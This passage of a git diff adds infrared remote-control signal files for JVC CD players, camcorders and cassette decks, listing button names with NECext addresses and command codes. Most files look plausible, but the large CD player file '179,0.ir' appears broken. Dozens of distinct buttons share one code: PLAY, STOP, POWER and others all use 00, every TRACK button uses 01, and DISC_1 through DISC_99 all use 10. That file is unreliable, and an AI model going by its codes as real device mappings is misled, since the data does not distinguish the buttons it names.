00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: SRCH_FWD>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: MANUAL_SEARCH_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CONTINUE_(Z) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: PLAY_MODE_CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: DISC_P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: DISC_P_(L) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: DISC_P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: P_DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: DISC_1_(M) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: 1_DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: DISC_2_(N) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: 2_DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: DISC_3_(O) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: 3_DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: DISC_4_(P) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: 4_DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: DISC_5_(Q) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: 5_DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: DISC_6_(R) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: 6_DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 86 00 00 00 +# +name: DEL._PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 8A 00 00 00 +# +name: DEL.PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 8A 00 00 00 +# +name: EXCHANGE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 93 00 00 00 +# +name: DISC_BEFORE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 94 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir new file mode 100644 index 000000000..750020370 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir @@ -0,0 +1,878 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY_> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: AUTO_SEARCH/CK_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: AUTO_SEARCH/CK_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: POWER_(ON) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: STANDBY_(OFF) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: DISC_SKIP_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: DISC_SKIP_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: DELETE_FILE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: CURSOR/USER_FILE_-> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: CURSOR/USER_FILE_<- +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: USER_FILE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: TRACK_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_11 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_12 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_13 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_14 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_15 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_16 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_17 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_18 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_19 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_20 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_21 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_22 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_23 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_24 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: TRACK_25 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 01 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_11 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_12 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_13 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_14 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_15 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_16 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_17 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_18 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_19 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_20 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_21 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_22 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_23 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_24 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_25 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_26 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_27 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_28 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_29 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_30 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_31 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_32 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_33 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_34 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_35 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_36 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_37 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_38 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_39 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_40 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_41 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_42 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_43 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_44 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_45 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_46 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_47 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_48 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_49 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_50 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_51 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_52 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_53 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_54 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_55 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_56 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_57 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_58 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_59 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_60 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_61 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_62 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_63 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_64 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_65 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_66 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_67 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_68 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_69 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_70 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_71 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_72 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_73 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_74 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_75 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_76 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_77 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_78 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_79 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_80 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_81 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_82 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_83 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_84 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_85 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_86 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_87 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_88 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_89 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_90 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_91 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_92 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_93 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_94 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_95 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_96 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_97 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_98 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_99 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 10 00 00 00 +# +name: DISC_100 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir new file mode 100644 index 000000000..7a16a2660 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: CHARACTER +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 03 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 0C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 13 00 00 00 +# +name: TITLE_INPUT +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 13 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 18 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir new file mode 100644 index 000000000..f4faccdec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 00 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 03 00 00 00 +# +name: OPEN_/_CLOSE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 04 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 04 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 08 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 15 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 18 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 18 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 19 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 19 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 1B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 29 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 2B 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 2B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 2C 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 30 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 30 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 30 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 31 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 32 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 36 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 36 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 36 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 37 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 46 00 00 00 +# +name: +1_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 46 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 46 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 47 00 00 00 +# +name: -1_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 47 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 47 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 80 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 81 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 82 00 00 00 +# +name: +10_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 82 00 00 00 +# +name: DISC_10+ +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 82 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 83 00 00 00 +# +name: -10_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 83 00 00 00 +# +name: DISC_10- +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 83 00 00 00 +# +name: 1_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 84 00 00 00 +# +name: ONE_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 84 00 00 00 +# +name: USER_FILE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 89 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 94 00 00 00 +# +name: DISC_SEARCH +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 95 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir new file mode 100644 index 000000000..4c21e44b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 03 00 00 00 +# +name: SLOW_< +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 05 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 06 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 07 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 0D 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 2F 00 00 00 +# +name: ZOOM_WIDE +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 51 00 00 00 +# +name: ZOOM_TELE +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 52 00 00 00 +# +name: FADE_/_WIPE +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 58 00 00 00 +# +name: START_/_STOP +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 59 00 00 00 +# +name: EDIT_-_ON_/_OFF +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 67 00 00 00 +# +name: EDIT_-_IN_/_OUT +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 68 00 00 00 +# +name: EDIT_-_CANCEL +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 69 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 97 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 98 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 99 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 9A 00 00 00 +# +name: EFFECT_ON_/_OFF +type: parsed +protocol: NECext +address: D3 00 00 00 +command: B8 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: D3 00 00 00 +command: B9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir new file mode 100644 index 000000000..c8b93f490 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: SHIFT_STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: SHIFT_FFWD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: SHIFT_REW_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: SHIFT_PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: SHIFT_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: EDIT_-_RECORD_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir new file mode 100644 index 000000000..c7a6143cc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: DECK2_REC +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 02 00 00 00 +# +name: DECK2_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: DECK2_FF_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: DECK2_REW_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 